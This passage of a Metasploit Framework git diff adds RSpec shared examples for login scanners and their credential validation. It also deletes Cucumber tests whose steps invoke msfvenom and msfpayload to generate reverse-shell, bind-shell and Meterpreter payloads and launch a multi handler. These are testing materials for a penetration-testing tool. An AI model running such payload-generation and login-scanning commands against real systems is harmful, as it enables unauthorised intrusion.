b/spec/support/shared/contexts/msf/simple/framework.rb index e55df08207..91dd87dc68 100644 --- a/spec/support/shared/contexts/msf/simple/framework.rb +++ b/spec/support/shared/contexts/msf/simple/framework.rb @@ -4,7 +4,7 @@ require 'metasploit/framework' shared_context 'Msf::Simple::Framework' do let(:dummy_pathname) do - Metasploit::Framework.root.join('spec', 'dummy') + Rails.root.join('spec', 'dummy') end let(:framework) do @@ -33,8 +33,12 @@ shared_context 'Msf::Simple::Framework' do thread_manager.each do |thread| thread.kill + # ensure killed thread is cleaned up by VM + thread.join end thread_manager.monitor.kill + # ensure killed thread is cleaned up by VM + thread_manager.monitor.join end end diff --git a/spec/support/shared/examples/credential/core/to_credential.rb b/spec/support/shared/examples/credential/core/to_credential.rb new file mode 100644 index 0000000000..17c56c7c6f --- /dev/null +++ b/spec/support/shared/examples/credential/core/to_credential.rb @@ -0,0 +1,26 @@ +require 'metasploit/framework/credential' + +shared_examples_for 'Metasploit::Credential::Core::ToCredential' do + context "methods" do + context ".to_credential" do + + subject(:crednetial_core) do + FactoryGirl.create(:metasploit_credential_core) + end + + it { should respond_to :to_credential } + + it "should return a Metasploit::Framework::Credential" do + expect( + crednetial_core.to_credential + ).to be_a Metasploit::Framework::Credential + end + + it "should set the parent to the credential object" do + expect( + crednetial_core.to_credential.parent + ).to eq(crednetial_core) + end + end + end +end \ No newline at end of file diff --git a/spec/support/shared/examples/metasploit/framework/login_scanner/http.rb b/spec/support/shared/examples/metasploit/framework/login_scanner/http.rb new file mode 100644 index 0000000000..480e5679a2 --- /dev/null +++ b/spec/support/shared/examples/metasploit/framework/login_scanner/http.rb @@ -0,0 +1,78 @@ +shared_examples_for 'Metasploit::Framework::LoginScanner::HTTP' do + subject(:http_scanner) { described_class.new } + + it { should respond_to :uri } + it { should respond_to :method } + + context "#set_sane_defaults" do + + context "without ssl, without port" do + it "should default :port to #{described_class::DEFAULT_PORT}" do + expect(http_scanner.ssl).to be_false + expect(http_scanner.port).to eq(described_class::DEFAULT_PORT) + end + end + + context "with ssl, without port" do + subject(:http_scanner) { described_class.new(ssl:true) } + it "should set :port to default ssl port (#{described_class::DEFAULT_SSL_PORT})" do + expect(http_scanner.ssl).to be_true + expect(http_scanner.port).to eq(described_class::DEFAULT_SSL_PORT) + end + end + + context "without ssl, with default port" do + subject(:http_scanner) { described_class.new(port:described_class::DEFAULT_PORT) } + it "should set ssl to false" do + expect(http_scanner.port).to eq(described_class::DEFAULT_PORT) + expect(http_scanner.ssl).to be_false + end + end + + context "without ssl, with default SSL port" do + subject(:http_scanner) { described_class.new(port:described_class::DEFAULT_SSL_PORT) } + it "should set ssl to true" do + expect(http_scanner.ssl).to be_true + expect(http_scanner.port).to eq(described_class::DEFAULT_SSL_PORT) + end + end + + context "without ssl, with non-default port" do + subject(:http_scanner) { described_class.new(port:0) } + it "should not set ssl" do + expect(http_scanner.ssl).to be_nil + expect(http_scanner.port).to eq(0) + end + end + + end + + context "#attempt_login" do + let(:pub_blank) { + Metasploit::Framework::Credential.new( + paired: true, + public: "public", + private: '' + ) + } + + it "Rex::ConnectionError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Rex::ConnectionError) + + expect(http_scanner.attempt_login(pub_blank).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it "Timeout::Error should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Timeout::Error) + + expect(http_scanner.attempt_login(pub_blank).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it "EOFError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(EOFError) + + expect(http_scanner.attempt_login(pub_blank).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + end +end diff --git a/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb b/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb new file mode 100644 index 0000000000..43463c68b7 --- /dev/null +++ b/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb @@ -0,0 +1,366 @@ + +shared_examples_for 'Metasploit::Framework::LoginScanner::Base' do | opts | + + subject(:login_scanner) { described_class.new } + + let(:public) { 'root' } + let(:private) { 'toor' } + let(:realm) { 'myrealm' } + let(:realm_key) { Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN } + + let(:pub_blank) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: '' + ) + } + + let(:pub_pub) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: public + ) + } + + let(:pub_pri) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: private + ) + } + + let(:invalid_detail) { + Metasploit::Framework::Credential.new( + paired: true, + public: nil, + private: nil + ) + } + + let(:ad_cred) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: private, + realm: realm, + realm_key: realm_key + ) + } + + let(:detail_group) { + [ pub_blank, pub_pub, pub_pri] + } + + it { should respond_to :connection_timeout } + it { should respond_to :cred_details } + it { should respond_to :host } + it { should respond_to :port } + it { should respond_to :proxies } + it { should respond_to :stop_on_success } + + context 'validations' do + context 'port' do + + it 'is not valid for a non-number' do + login_scanner.port = "a" + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:port]).to include "is not a number" + end + + it 'is not valid for a floating point' do + login_scanner.port = 5.76 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:port]).to include "must be an integer" + end + + it 'is not valid for a negative number' do + login_scanner.port = -8 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:port]).to include "must be greater than or equal to 1" + end + + it 'is not valid for 0' do + login_scanner.port = 0 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:port]).to include "must be greater than or equal to 1" + end + + it 'is not valid for a number greater than 65535' do + login_scanner.port = 65536 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:port]).to include "must be less than or equal to 65535" + end + + it 'is valid for a legitimate port number' do + login_scanner.port = rand(65534) + 1 + expect(login_scanner.errors[:port]).to be_empty + end + end + + context 'host' do + + it 'is not valid for not set' do + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:host]).to include "can't be blank" + end + + it 'is not valid for a non-string input' do + login_scanner.host = 5 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:host]).to include "must be a string" + end + + it 'is not valid for an improper IP address' do + login_scanner.host = '192.168.1.1.5' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:host]).to include "could not be resolved" + end + + it 'is not valid for an incomplete IP address' do + login_scanner.host = '192.168' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:host]).to include "could not be resolved" + end + + it 'is not valid for an invalid IP address' do + login_scanner.host = '192.300.675.123' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:host]).to include "could not be resolved" + end + + it 'is not valid for DNS name that cannot be resolved' do + login_scanner.host = 'nosuchplace.metasploit.com' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:host]).to include "could not be resolved" + end + + it 'is valid for a valid IP address' do + login_scanner.host = '127.0.0.1' + expect(login_scanner.errors[:host]).to be_empty + end + + it 'is valid for a DNS name it can resolve' do + login_scanner.host = 'localhost' + expect(login_scanner.errors[:host]).to be_empty + end + end + + context 'cred_details' do + it 'is not valid for not set' do + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:cred_details]).to include "can't be blank" + end + + it 'is not valid for a non-array input' do + login_scanner.cred_details = rand(10) + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:cred_details]).to include "must respond to :each" + end + + end + + context 'connection_timeout' do + + it 'is not valid for a non-number' do + login_scanner.connection_timeout = "a" + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:connection_timeout]).to include "is not a number" + end + + it 'is not valid for a floating point' do + login_scanner.connection_timeout = 5.76 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:connection_timeout]).to include "must be an integer" + end + + it 'is not valid for a negative number' do + login_scanner.connection_timeout = -8 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:connection_timeout]).to include "must be greater than or equal to 1" + end + + it 'is not valid for 0' do + login_scanner.connection_timeout = 0 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:connection_timeout]).to include "must be greater than or equal to 1" + end + + it 'is valid for a legitimate number' do + login_scanner.port = rand(1000) + 1 + expect(login_scanner.errors[:connection_timeout]).to be_empty + end + end + + context 'stop_on_success' do + + it 'is not valid for not set' do + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:stop_on_success]).to include 'is not included in the list' + end + + it 'is not valid for the string true' do + login_scanner.stop_on_success = 'true' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:stop_on_success]).to include 'is not included in the list' + end + + it 'is not valid for the string false' do + login_scanner.stop_on_success = 'false' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:stop_on_success]).to include 'is not included in the list' + end + + it 'is valid for true class' do + login_scanner.stop_on_success = true + expect(login_scanner.errors[:stop_on_success]).to be_empty + end + + it 'is valid for false class' do + login_scanner.stop_on_success = false + expect(login_scanner.errors[:stop_on_success]).to be_empty + end + end + + context '#valid!' do + it 'raises a Metasploit::Framework::LoginScanner::Invalid when validations fail' do + expect{login_scanner.valid!}.to raise_error Metasploit::Framework::LoginScanner::Invalid + end + end + end + + context '#scan!' do + let(:success) { + ::Metasploit::Framework::LoginScanner::Result.new( + credential: pub_pub, + proof: '', + status: Metasploit::Model::Login::Status::SUCCESSFUL + ) + } + + let(:failure_blank) { + ::Metasploit::Framework::LoginScanner::Result.new( + credential: pub_blank, + proof: nil, + status: Metasploit::Model::Login::Status::INCORRECT + ) + } + + before(:each) do + login_scanner.host = '127.0.0.1' + login_scanner.port = 22 + login_scanner.connection_timeout = 30 + login_scanner.stop_on_success = false + login_scanner.cred_details = detail_group + end + + it 'calls valid! before running' do + my_scanner = login_scanner + my_scanner.should_receive(:valid!) + my_scanner.should_receive(:attempt_login).at_least(:once).and_return success + my_scanner.scan! + end + + it 'should stop trying a user after success' do + my_scanner = login_scanner + my_scanner.should_receive(:valid!) + my_scanner.should_receive(:attempt_login).once.with(pub_blank).and_return failure_blank + my_scanner.should_receive(:attempt_login).once.with(pub_pub).and_return success + my_scanner.should_not_receive(:attempt_login) + my_scanner.scan! + end + + it 'call attempt_login once for each cred_detail' do + my_scanner = login_scanner + my_scanner.should_receive(:valid!) + my_scanner.should_receive(:attempt_login).once.with(pub_blank).and_return failure_blank + my_scanner.should_receive(:attempt_login).once.with(pub_pub).and_return failure_blank + my_scanner.should_receive(:attempt_login).once.with(pub_pri).and_return failure_blank + my_scanner.scan! + end + + context 'when stop_on_success is true' do + before(:each) do + login_scanner.host = '127.0.0.1' + login_scanner.port = 22 + login_scanner.connection_timeout = 30 + login_scanner.stop_on_success = true + login_scanner.cred_details = detail_group + end + + it 'stops after the first successful login' do + my_scanner = login_scanner + my_scanner.should_receive(:valid!) + my_scanner.should_receive(:attempt_login).once.with(pub_blank).and_return failure_blank + my_scanner.should_receive(:attempt_login).once.with(pub_pub).and_return success + my_scanner.should_not_receive(:attempt_login).with(pub_pri) + my_scanner.scan! + end + end + + end + + context '#each_credential' do + + if opts[:has_realm_key] + context 'when the login_scanner has a REALM_KEY' do + context 'when the credential has a realm' do + before(:each) do + login_scanner.cred_details = [ad_cred] + end + it 'set the realm_key on the credential to that of the scanner' do + output_cred = ad_cred.dup + output_cred.realm_key = described_class::REALM_KEY + expect{ |b| login_scanner.each_credential(&b)}.to yield_with_args(output_cred) + end + end + + if opts[:has_default_realm] + context 'when the credential has no realm' do + before(:each) do + login_scanner.cred_details = [pub_pri] + end + it 'uses the default realm' do + output_cred = pub_pri.dup + output_cred.realm = described_class::DEFAULT_REALM + output_cred.realm_key = described_class::REALM_KEY + expect{ |b| login_scanner.each_credential(&b)}.to yield_with_args(output_cred) + end + end + end + + end + else + context 'when login_scanner has no REALM_KEY' do + context 'when the credential has a realm' do + before(:each) do + login_scanner.cred_details = [ad_cred] + end + it 'yields the original credential as well as one with the realm in the public' do + first_cred = ad_cred.dup + first_cred.realm = nil + first_cred.realm_key = nil + second_cred = first_cred.dup + second_cred.public = "#{realm}\\#{public}" + expect{ |b| login_scanner.each_credential(&b)}.to yield_successive_args(ad_cred,second_cred) + end + end + + context 'when the credential does not have a realm' do + before(:each) do + login_scanner.cred_details = [pub_pri] + end + it 'simply yields the original credential' do + expect{ |b| login_scanner.each_credential(&b)}.to yield_with_args(pub_pri) + end + end + end + end + + + + end + +end diff --git a/spec/support/shared/examples/metasploit/framework/login_scanner/ntlm.rb b/spec/support/shared/examples/metasploit/framework/login_scanner/ntlm.rb new file mode 100644 index 0000000000..e2e88cf173 --- /dev/null +++ b/spec/support/shared/examples/metasploit/framework/login_scanner/ntlm.rb @@ -0,0 +1,160 @@ +shared_examples_for 'Metasploit::Framework::LoginScanner::NTLM' do + + subject(:login_scanner) { described_class.new } + + it { should respond_to :send_lm } + it { should respond_to :send_ntlm } + it { should respond_to :send_spn } + it { should respond_to :use_lmkey } + it { should respond_to :use_ntlm2_session } + it { should respond_to :use_ntlmv2 } + + context 'validations' do + + context '#send_lm' do + it 'is not valid for the string true' do + login_scanner.send_lm = 'true' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:send_lm]).to include 'is not included in the list' + end + + it 'is not valid for the string false' do + login_scanner.send_lm = 'false' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:send_lm]).to include 'is not included in the list' + end + + it 'is valid for true class' do + login_scanner.send_lm = true + expect(login_scanner.errors[:send_lm]).to be_empty + end + + it 'is valid for false class' do + login_scanner.send_lm = false + expect(login_scanner.errors[:send_lm]).to be_empty + end + end + + context '#send_ntlm' do + it 'is not valid for the string true' do + login_scanner.send_ntlm = 'true' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:send_ntlm]).to include 'is not included in the list' + end + + it 'is not valid for the string false' do + login_scanner.send_ntlm = 'false' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:send_ntlm]).to include 'is not included in the list' + end + + it 'is valid for true class' do + login_scanner.send_ntlm = true + expect(login_scanner.errors[:send_ntlm]).to be_empty + end + + it 'is valid for false class' do + login_scanner.send_ntlm = false + expect(login_scanner.errors[:send_ntlm]).to be_empty + end + end + + context '#send_spn' do + it 'is not valid for the string true' do + login_scanner.send_spn = 'true' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:send_spn]).to include 'is not included in the list' + end + + it 'is not valid for the string false' do + login_scanner.send_spn = 'false' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:send_spn]).to include 'is not included in the list' + end + + it 'is valid for true class' do + login_scanner.send_spn = true + expect(login_scanner.errors[:send_spn]).to be_empty + end + + it 'is valid for false class' do + login_scanner.send_spn = false + expect(login_scanner.errors[:send_spn]).to be_empty + end + end + + context '#use_lmkey' do + it 'is not valid for the string true' do + login_scanner.use_lmkey = 'true' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:use_lmkey]).to include 'is not included in the list' + end + + it 'is not valid for the string false' do + login_scanner.use_lmkey = 'false' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:use_lmkey]).to include 'is not included in the list' + end + + it 'is valid for true class' do + login_scanner.use_lmkey = true + expect(login_scanner.errors[:use_lmkey]).to be_empty + end + + it 'is valid for false class' do + login_scanner.use_lmkey = false + expect(login_scanner.errors[:use_lmkey]).to be_empty + end + end + + context '#use_ntlm2_session' do + it 'is not valid for the string true' do + login_scanner.use_ntlm2_session = 'true' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:use_ntlm2_session]).to include 'is not included in the list' + end + + it 'is not valid for the string false' do + login_scanner.use_ntlm2_session = 'false' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:use_ntlm2_session]).to include 'is not included in the list' + end + + it 'is valid for true class' do + login_scanner.use_ntlm2_session = true + expect(login_scanner.errors[:use_ntlm2_session]).to be_empty + end + + it 'is valid for false class' do + login_scanner.use_ntlm2_session = false + expect(login_scanner.errors[:use_ntlm2_session]).to be_empty + end + end + + context '#use_ntlmv2' do + it 'is not valid for the string true' do + login_scanner.use_ntlmv2 = 'true' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:use_ntlmv2]).to include 'is not included in the list' + end + + it 'is not valid for the string false' do + login_scanner.use_ntlmv2 = 'false' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:use_ntlmv2]).to include 'is not included in the list' + end + + it 'is valid for true class' do + login_scanner.use_ntlmv2 = true + expect(login_scanner.errors[:use_ntlmv2]).to be_empty + end + + it 'is valid for false class' do + login_scanner.use_ntlmv2 = false + expect(login_scanner.errors[:use_ntlmv2]).to be_empty + end + end + + end + +end diff --git a/spec/support/shared/examples/metasploit/framework/login_scanner/rex_socket.rb b/spec/support/shared/examples/metasploit/framework/login_scanner/rex_socket.rb new file mode 100644 index 0000000000..6cf9eeb9fb --- /dev/null +++ b/spec/support/shared/examples/metasploit/framework/login_scanner/rex_socket.rb @@ -0,0 +1,60 @@ +shared_examples_for 'Metasploit::Framework::LoginScanner::RexSocket' do + subject(:login_scanner) { described_class.new } + + it { should respond_to :send_delay } + it { should respond_to :max_send_size } + it { should respond_to :ssl } + it { should respond_to :ssl_version } + + context 'send_delay' do + it 'is not valid for a non-number' do + login_scanner.send_delay = "a" + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:send_delay]).to include "is not a number" + end + + it 'is not valid for a floating point' do + login_scanner.send_delay = 5.76 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:send_delay]).to include "must be an integer" + end + + it 'is not valid for a negative number' do + login_scanner.send_delay = -8 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:send_delay]).to include "must be greater than or equal to 0" + end + + it 'is valid for a legitimate number' do + login_scanner.send_delay = rand(1000) + 1 + expect(login_scanner.errors[:send_delay]).to be_empty + end + end + + context 'max_send_size' do + it 'is not valid for a non-number' do + login_scanner.max_send_size = "a" + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:max_send_size]).to include "is not a number" + end + + it 'is not valid for a floating point' do + login_scanner.max_send_size = 5.76 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:max_send_size]).to include "must be an integer" + end + + it 'is not valid for a negative number' do + login_scanner.max_send_size = -8 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:max_send_size]).to include "must be greater than or equal to 0" + end + + it 'is valid for a legitimate number' do + login_scanner.max_send_size = rand(1000) + 1 + expect(login_scanner.errors[:max_send_size]).to be_empty + end + end + + +end diff --git a/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb b/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb index 5e28d2f5e6..cccf0096e7 100644 --- a/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb +++ b/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb @@ -273,8 +273,6 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do end context 'with :type' do - include_context 'DatabaseCleaner' - let(:source) do xml.tag!("web_#{type}") do web_site = web_vuln.web_site @@ -618,8 +616,6 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do end context 'with required attributes' do - include_context 'DatabaseCleaner' - let(:element) do document.root end @@ -775,8 +771,6 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do end context 'with required attributes' do - include_context 'DatabaseCleaner' - let(:element) do document.root end @@ -952,8 +946,6 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do end context 'with required attributes' do - include_context 'DatabaseCleaner' - let(:element) do document.root end @@ -1030,8 +1022,6 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do end context 'with web_forms/web_form elements' do - include_context 'DatabaseCleaner' - let(:data) do xml.tag!('MetasploitV4') do xml.web_forms do @@ -1071,8 +1061,6 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do end context 'with web_pages/web_page elements' do - include_context 'DatabaseCleaner' - let(:data) do xml.tag!('MetasploitV4') do xml.web_pages do @@ -1124,8 +1112,6 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do end context 'with web_vulns/web_vuln elements' do - include_context 'DatabaseCleaner' - let(:data) do xml.tag!('MetasploitV4') do xml.web_vulns do diff --git a/spec/support/shared/examples/msf/db_manager/migration.rb b/spec/support/shared/examples/msf/db_manager/migration.rb index 1bdcbe44c1..bea5e24477 100644 --- a/spec/support/shared/examples/msf/db_manager/migration.rb +++ b/spec/support/shared/examples/msf/db_manager/migration.rb @@ -6,12 +6,6 @@ shared_examples_for 'Msf::DBManager::Migration' do db_manager.migrate end - it 'should create a connection' do - ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice - - migrate - end - it 'should call ActiveRecord::Migrator.migrate' do ActiveRecord::Migrator.should_receive(:migrate).with( ActiveRecord::Migrator.migrations_paths diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index 495ca3e2e6..d6ac4f9c1a 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -358,29 +358,10 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end context 'with framework migrated' do - include_context 'DatabaseCleaner' - let(:framework_migrated?) do true end - before(:each) do - configurations = Metasploit::Framework::Database.configurations - spec = configurations[Metasploit::Framework.env] - - # Need to connect or ActiveRecord::Base.connection_pool will raise an - # error. - framework.db.connect(spec) - end - - it 'should call ActiveRecord::Base.connection_pool.with_connection' do - # 1st is from with_established_connection - # 2nd is from module_info_by_path_from_database! - ActiveRecord::Base.connection_pool.should_receive(:with_connection).at_least(2).times - - module_info_by_path_from_database! - end - it 'should use ActiveRecord::Batches#find_each to enumerate Mdm::Module::Details in batches' do Mdm::Module::Detail.should_receive(:find_each) @@ -408,7 +389,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end it 'should use Msf::Modules::Loader::Base.typed_path to derive parent_path' do - Msf::Modules::Loader::Base.should_receive(:typed_path).with(type, reference_name).and_call_original + Msf::Modules::Loader::Base.should_receive(:typed_path).with(type, reference_name).at_least(:once).and_call_original module_info_by_path_from_database! end @@ -465,8 +446,6 @@ shared_examples_for 'Msf::ModuleManager::Cache' do false end - it { should_not query_the_database.when_calling(:module_info_by_path_from_database!) } - it 'should reset #module_info_by_path' do # pre-fill module_info_by_path so change can be detected module_manager.send(:module_info_by_path=, double('In-memory Cache')) diff --git a/spec/support/shared/examples/msf/simple/framework/module_paths.rb b/spec/support/shared/examples/msf/simple/framework/module_paths.rb index 56df640695..a202dfc99e 100644 --- a/spec/support/shared/examples/msf/simple/framework/module_paths.rb +++ b/spec/support/shared/examples/msf/simple/framework/module_paths.rb @@ -3,11 +3,11 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do context '#init_module_paths' do def init_module_paths - framework.init_module_paths + framework.init_module_paths(options) end let(:module_directory) do - nil + Rails.application.root.join('modules').expand_path.to_path end let(:user_module_directory) do @@ -23,7 +23,6 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do # to init_module_paths doesn't get captured. framework - Msf::Config.stub(:module_directory => module_directory) Msf::Config.stub(:user_module_directory => user_module_directory) end @@ -33,22 +32,15 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do init_module_paths end + it "adds Rails.application.paths['modules'] to module paths" do + expect(framework.modules).to receive(:add_module_path).with(module_directory, options) + + init_module_paths + end + context 'Msf::Config' do - context 'module_directory' do - context 'without nil' do - let(:module_directory) do - 'modules' - end - - it 'should add Msf::Config.module_directory to module paths' do - framework.modules.should_receive(:add_module_path).with( - module_directory, - options - ) - - init_module_paths - end - end + before(:each) do + allow(Rails.application.paths).to receive(:[]).with('modules').and_return(nil) end context 'user_module_directory' do @@ -70,6 +62,10 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do end context 'datastore' do + before(:each) do + allow(Rails.application.paths).to receive(:[]).with('modules').and_return(nil) + end + context 'MsfModulePaths' do let(:module_paths) do module_paths = [] diff --git a/test/features/data/test.exe b/test/features/data/test.exe deleted file mode 100644 index 792d600548..0000000000 --- a/test/features/data/test.exe +++ /dev/null @@ -1 +0,0 @@ -# diff --git a/test/features/encoders.feature b/test/features/encoders.feature deleted file mode 100644 index 2eff0c65a5..0000000000 --- a/test/features/encoders.feature +++ /dev/null @@ -1,18 +0,0 @@ -#This feature contains scenarios that test the various encoders within the metasploit framework - -@announce-stdout - -Feature: As a Metasploit Framework user - I want to user encoders - So that I can encode various payloads I might use for attacks - -Scenario: Create a windows tcp bind payload using the x86/unicode mixed encoder - When I run msfvenom to encode for windows using the "x86/unicode_mixed" encoder with "-i 1" options and a buffer register - #When I run `./msfvenom -p windows/shell/bind_tcp -e x86/unicode_mixed -i 1 BufferRegister=eax` interactively - Then the output should contain "x86/unicode_mixed succeeded with size" - -Scenario: Create a windows tcp bind payload encoded with x86 alpha mixed - When I run msfvenom to encode for windows using the "x86/alpha_mixed" encoder with "-b '\x00' -i 1" options - #When I run `./msfvenom -p windows/shell/bind_tcp -e x86/alpha_mixed -b '\x00' -i 1` interactively - Then the output should contain "x86/alpha_mixed succeeded with size" - diff --git a/test/features/handler.feature b/test/features/handler.feature deleted file mode 100644 index 3c3a64c539..0000000000 --- a/test/features/handler.feature +++ /dev/null @@ -1,19 +0,0 @@ -#This feature contains scenarios that test different handlers within the metasploit framework -@announce - -Feature: As a MS Framework User - I want to launch various handlers - So the framework can properly handle input and output from exploits - -Scenario: Launching the exploit multi handler in Check mode - When I run `./msfcli exploit/multi/handler C` - Then the output should contain "module tree" - Then the output should contain "This exploit does not support check." - -Scenario: Launching the generic multi handler in Check mode - When I run `./msfcli multi/handler C` - Then the output should contain "module tree" - Then the output should contain "This exploit does not support check." - - - diff --git a/test/features/payloads.feature b/test/features/payloads.feature deleted file mode 100644 index 8c50d4262b..0000000000 --- a/test/features/payloads.feature +++ /dev/null @@ -1,24 +0,0 @@ -#This feature contains scenarios to test the ability to run/access payloads from the metasploit framework - -Feature: I want access to Metasploit payloads - So that I can define payload options for exploits - -Scenario: Verify the windows shell reverse tcp payload option in ruby - When I run msfpayload to generate a "windows/shell_reverse_tcp" on the local host - Then the output should contain "# windows/shell_reverse_tcp" - Then the output should contain "# http://www.metasploit.com" - -Scenario: Verify the windows x64 shell reverse tcp payload option in ruby - When I run msfpayload to generate a "windows/x64/shell_reverse_tcp" on the local host - Then the output should contain "# windows/x64/shell_reverse_tcp" - Then the output should contain "# http://www.metasploit.com" - -Scenario: Verify the linux x86 shell reverse tcp payload option in ruby - When I run msfpayload to generate a "linux/x86/shell_reverse_tcp" on the local host - Then the output should contain "# linux/x86/shell_reverse_tcp" - Then the output should contain "# http://www.metasploit.com" - -Scenario: Verify the windows meterpreter reverse tcp payload can output its contents in ruby - When I run msfpayload to generate a "windows/meterpreter/reverse_tcp" on the local host - Then the output should contain "# windows/meterpreter/reverse_tcp - 290 bytes (stage 1)" - Then the output should contain "# http://www.metasploit.com" diff --git a/test/features/steps/common_steps.rb b/test/features/steps/common_steps.rb deleted file mode 100644 index 21620e30d6..0000000000 --- a/test/features/steps/common_steps.rb +++ /dev/null @@ -1,31 +0,0 @@ -#This is the step definition file for common framework testing steps or meta steps - -When /^I run the "([^"]*)" exploit with standard target options$/ do |exploit| - steps %Q{ - When I run `#{exploit} RHOST=#{TestConfig.instance.rhost} SMBPass=#{TestConfig.instance.smbpass} SMBUser=#{TestConfig.instance.smbuser} E` interactively - } - end - -When /^I run the "([^"]*)" exploit with standard target options in check mode$/ do |exploit| - steps %Q{ - When I run `#{exploit} RHOST=#{TestConfig.instance.rhost} SMBPass=#{TestConfig.instance.smbpass} SMBUser=#{TestConfig.instance.smbuser} C` interactively - } - end - -When /^I run msfvenom to encode for windows using the "([^"]*)" encoder with "(.*)" options$/ do |encoder, options| - steps %Q{ - When I run `./msfvenom ./msfvenom -p windows/shell/bind_tcp -e #{encoder} #{options}` interactively - } - end - -When /^I run msfvenom to encode for windows using the "([^"]*)" encoder with "(.*)" options and a buffer register$/ do |encoder, options| - steps %Q{ - When I run `./msfvenom ./msfvenom -p windows/shell/bind_tcp -e #{encoder} #{options} BufferRegister=eax` interactively - } - end - -When /^I run msfpayload to generate a "([^"]*)" on the local host$/ do |payload| - steps %Q{ - When I run `./msfpayload #{payload} LHOST=127.0.0.1 y` - } - end \ No newline at end of file diff --git a/test/features/steps/handler_steps.rb b/test/features/steps/handler_steps.rb deleted file mode 100644 index 9660708856..0000000000 --- a/test/features/steps/handler_steps.rb +++ /dev/null @@ -1,23 +0,0 @@ -#This is the step definition file for cucumber features relating to the framework handler feature - - Given /^I launch the exploit multi handler$/ do - steps %Q{ - - When I run `./msfcli exploit/multi/handler E` - Then the output should contain "Please wait while we load the module tree..." - Then the output should contain "Started reverse handler on" - Then the output should contain "Starting the payload handler..." - - } - end - -Given /^I launch the generic multi handler$/ do - steps %Q{ - - When I run `./msfcli multi/handler E` - Then the output should contain "Please wait while we load the module tree..." - Then the output should contain "Started reverse handler on" - Then the output should contain "Starting the payload handler..." - - } - end diff --git a/test/features/support/.gitignore b/test/features/support/.gitignore deleted file mode 100644 index 10eca368d9..0000000000 --- a/test/features/support/.gitignore +++ /dev/null @@ -1,3 +0,0 @@ -# These files are to be excluded from git # - -test_config.yml diff --git a/test/features/support/env.rb b/test/features/support/env.rb deleted file mode 100644 index 9a60d7d973..0000000000 --- a/test/features/support/env.rb +++ /dev/null @@ -1,25 +0,0 @@ -#Cucumber automation environment setup 